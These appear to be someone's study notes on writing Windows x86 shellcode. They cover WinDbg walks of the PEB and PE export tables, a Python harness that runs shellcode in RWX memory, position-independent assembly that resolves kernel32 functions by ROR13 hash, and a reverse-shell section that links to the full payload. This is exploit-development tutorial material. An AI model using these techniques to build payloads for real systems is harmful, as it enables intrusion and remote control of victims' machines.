Windows Shellcode

Manally Get Load Address of DLL via Windbg

dt nt!_TEB @$teb
    ...
    +0x060 ProcessEnvironmentBlock : 0x00000017`1c438000 _PEB
    ...

dt nt!_PEB 0x171c438000 (also at [FS:0x30])
    ...
    +0x018 Ldr              : 0x00007ff9`5e21a4c0 _PEB_LDR_DATA
    ...

dt _PEB_LDR_DATA 0x7ff95e21a4c0
    ...
    +0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x000001ea`075c2830 - 0x000001ea`075ec540 ]
    +0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x000001ea`075c2840 - 0x000001ea`075ec550 ]
    +0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x000001ea`075c26c0 - 0x000001ea`075ed3a0 ]
    ...

dt _LIST_ENTRY 0x1ea075c2830
    +0x000 Flink            : 0x000001ea075c26a0 _LIST_ENTRY [ 0x000001ea`075c2dc0 - 0x000001ea`075c2830 ]
    +0x008 Blink            : 0x00007ff95e21a4d0 _LIST_ENTRY [ 0x000001ea`075c2830 - 0x000001ea`075ec540 ]
    
dt _LDR_DATA_TABLE_ENTRY 0x1ea075c26a0
    +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000001ea`075c2dc0 - 0x000001ea`075c2830 ]
    +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x000001ea`075c2dd0 - 0x000001ea`075c2840 ]
    +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x000001ea`075c33f0 - 0x00007ff9`5e21a4f0 ]
    +0x030 DllBase          : 0x00007ff9`5e0b0000 Void
    +0x038 EntryPoint       : (null) 
    +0x040 SizeOfImage      : 0x1f5000
    +0x048 FullDllName      : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
    +0x058 BaseDllName      : _UNICODE_STRING "ntdll.dll"

Manually get RVA of Export Directory Table via Windbg

lm m kernel32
    start    end        module name
    76150000 76240000   KERNEL32
    
dt ntdll!_IMAGE_DOS_HEADER 76150000 
    ...
    +0x03c e_lfanew : 0n248 // ? 0n248 = 0xf8
    
dt ntdll!_IMAGE_NT_HEADERS 76150000 + 0xf8
    ...
   +0x000 Signature        : 0x4550
   +0x004 FileHeader       : _IMAGE_FILE_HEADER
   +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER

dt ntdll!_IMAGE_OPTIONAL_HEADER 76150000 + 0xf8 + 0x18
    ...
    +0x060 DataDirectory : [16] _IMAGE_DATA_DIRECTORY // array of len 16

dt _IMAGE_DATA_DIRECTORY 
    ntdll!_IMAGE_DATA_DIRECTORY
       +0x000 VirtualAddress   : Uint4B
       +0x004 Size             : Uint4B
       
dt ntdll!_IMAGE_DATA_DIRECTORY 76150000 + 0xf8 + 0x18 + 0x60
   +0x000 VirtualAddress   : 0x92c70 // VA of Export Directory Table
   +0x004 Size             : 0xdc14

Write Shellcode & Test

Attach debugger when python is waiting for input - breakpoint will be hit when continuing & you can debug your shellcode.

import ctypes, struct
from keystone import *

# Run with python2.7 32bit, pip install keystone-engine
CODE = (
" start: "
" int3 ; "
" ...    "
)

# ks = Ks(KS_ARCH_X64, KS_MODE_64)
ks = Ks(KS_ARCH_X86, KS_MODE_32)

encoding, count = ks.asm(CODE)
print("%d instructions..." % count)
sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode @ %s" % hex(ptr))
a = raw_input("Execute?")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

Find Kernel32.dll Load Address

CODE = (
" start: " 
" int3 ;" 
" mov ebp, esp ;" 
" sub esp, 200h ;" 
" find_kernel32: " 
" xor ecx, ecx ;" 
" mov esi,fs:[ecx+30h] ;" 
" mov esi,[esi+0Ch] ;" 
" mov esi,[esi+1Ch] ;" 
" mov ebx, [esi+8h] ;" 
" mov edi, [esi+20h] ;"
" mov esi, [esi] ;"
" cmp [edi+12*2], cx ;"
" jne next_module ;"
" find_function: "
" ret " 
)

Find Kernel32.dll Load Address & Function

https://gist.github.com/xct/96a4abb9381637a0a0f0f0471d9b4660

To search for a specific function we use a 4-byte hashing function instead of a string compare:

Python

#!/usr/bin/python
import numpy, sys

def ror_str(byte, count):
    binb = numpy.base_repr(byte, 2).zfill(32)
    while count > 0:
        binb = binb[-1] + binb[0:-1]
        count -= 1
    return (int(binb, 2))

if __name__ == '__main__':
    try:
        esi = sys.argv[1]
    except IndexError:
        print("Usage: %s INPUTSTRING" % sys.argv[0])
        sys.exit()

    # Initialize variables
    edx = 0x00
    ror_count = 0

    for eax in esi:
        edx = edx + ord(eax)
        if ror_count < len(esi)-1:
            edx = ror_str(edx, 0xd)
        ror_count += 1

    print(hex(edx))

Assembly

" compute_hash: " 
" xor eax, eax ;"
" cdq ;"
" cld ;"
" compute_hash_again: " 
" lodsb ;"
" test al, al ;"
" jz compute_hash_finished ;" 
" ror edx, 0x0d ;"
" add edx, eax ;" 
" jmp compute_hash_again ;" 
" compute_hash_finished: " 

In order to avoid null bytes, instructions like sub esp, 0x200 can be replaced with adding a large value that achives the same:

? 0x0 -0x204
Evaluate expression: -516 = fffffdfc

sub esp, 0x204 == add esp, fffffdfc

Position Independent Shellcode

Basic idea is to find address of shellcode in memory and use that for calculations.

CODE = (
" start: "
"  int3 ;"
"  mov ebp, esp ;" 
"  add esp, 0xfffffdfc ;" 

" find_kernel32: " 
"  xor ecx, ecx ;" 
"  mov esi,fs:[ecx+30h] ;"
"  mov esi,[esi+0Ch] ;" 
"  mov esi,[esi+1Ch] ;"

" next_module: "
"  mov ebx, [esi+8h] ;"
"  mov edi, [esi+20h] ;"
"  mov esi, [esi] ;" 
"  cmp [edi+12*2], cx ;" 
"  jne next_module ;" 

" find_function_shorten: " 
"  jmp find_function_shorten_bnc ;" 

" find_function_ret: "
"  pop esi ;" # ret addr, start of find_function
"  mov [ebp+0x04], esi ;" 
"  jmp resolve_symbols_kernel32 ;"

" find_function_shorten_bnc: "
"  call find_function_ret ;" # rel call

" find_function: "
"  pushad ;" 
"  mov eax, [ebx+0x3c] ;"
"  mov edi, [ebx+eax+0x78] ;"
"  add edi, ebx ;"
"  mov ecx, [edi+0x18] ;"
"  mov eax, [edi+0x20] ;"
"  add eax, ebx ;"
"  mov [ebp-4], eax ;" 

" find_function_loop: " 
"  jecxz find_function_finished ;" 
"  dec ecx ;"
"  mov eax, [ebp-4] ;"
"  mov esi, [eax+ecx*4] ;"
"  add esi, ebx ;"

" compute_hash: " 
"  xor eax, eax ;"
"  cdq ;"
"  cld ;"

" compute_hash_again: " 
"  lodsb ;"
"  test al, al ;"
"  jz compute_hash_finished ;" 
"  ror edx, 0x0d ;"
"  add edx, eax ;" 
"  jmp compute_hash_again ;" 

" compute_hash_finished: " 
"  find_function_compare: "
"  cmp edx, [esp+0x24] ;"
"  jnz find_function_loop ;"
"  mov edx, [edi+0x24] ;"
"  add edx, ebx ;"
"  mov cx, [edx+2*ecx] ;"
"  mov edx, [edi+0x1c] ;"
"  add edx, ebx ;"
"  mov eax, [edx+4*ecx] ;"
"  add eax, ebx ;"
"  mov [esp+0x1c], eax ;"

" find_function_finished: "
"  popad ;"
"  ret ;" 

" resolve_symbols_kernel32: "
"  push 0x78b5b983 ;" # Hash of Func 
"  call dword ptr [ebp+0x04] ;" # Call find_function
"  mov [ebp+0x10], eax ;"

" exec_shellcode: "
"  xor ecx, ecx ;"
"  push ecx ;"
"  push 0xffffffff ;"
"  call dword ptr [ebp+0x10] ;" # Call Func
)

Reverse Shell

We can extend resolve-symbols-kernel32 to retrieve multiple symbols like so:

" resolve_symbols_kernel32: "
"  push 0x78b5b983 ;" # Exit hash 
"  call dword ptr [ebp+0x04] ;" 
"  mov [ebp+0x10], eax ;"
"  push 0xec0e4e8e ;" # LoadLibraryA hash
"  call dword ptr [ebp+0x04] ;"
"  mov [ebp+0x14], eax ;" 
"  push 0x16b3fe72 ;" # CreateProcessA hash
"  call dword ptr [ebp+0x04] ;"
"  mov [ebp+0x18], eax ;"

Then we need to call LoadLibraryA and resolve the symbols in the loaded library again and call a useful function with the correct arguments.

IP Address

Convert for shellcode using windbg: https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)To_Hex('Space',0)&input=MTkyIDE2OCAxNTMgMTI5

Full Reverse Shell Code (32-Bit Windows 10)

https://gist.github.com/xct/33a7623f43397a96c74bc69f226f0936

References

Last updated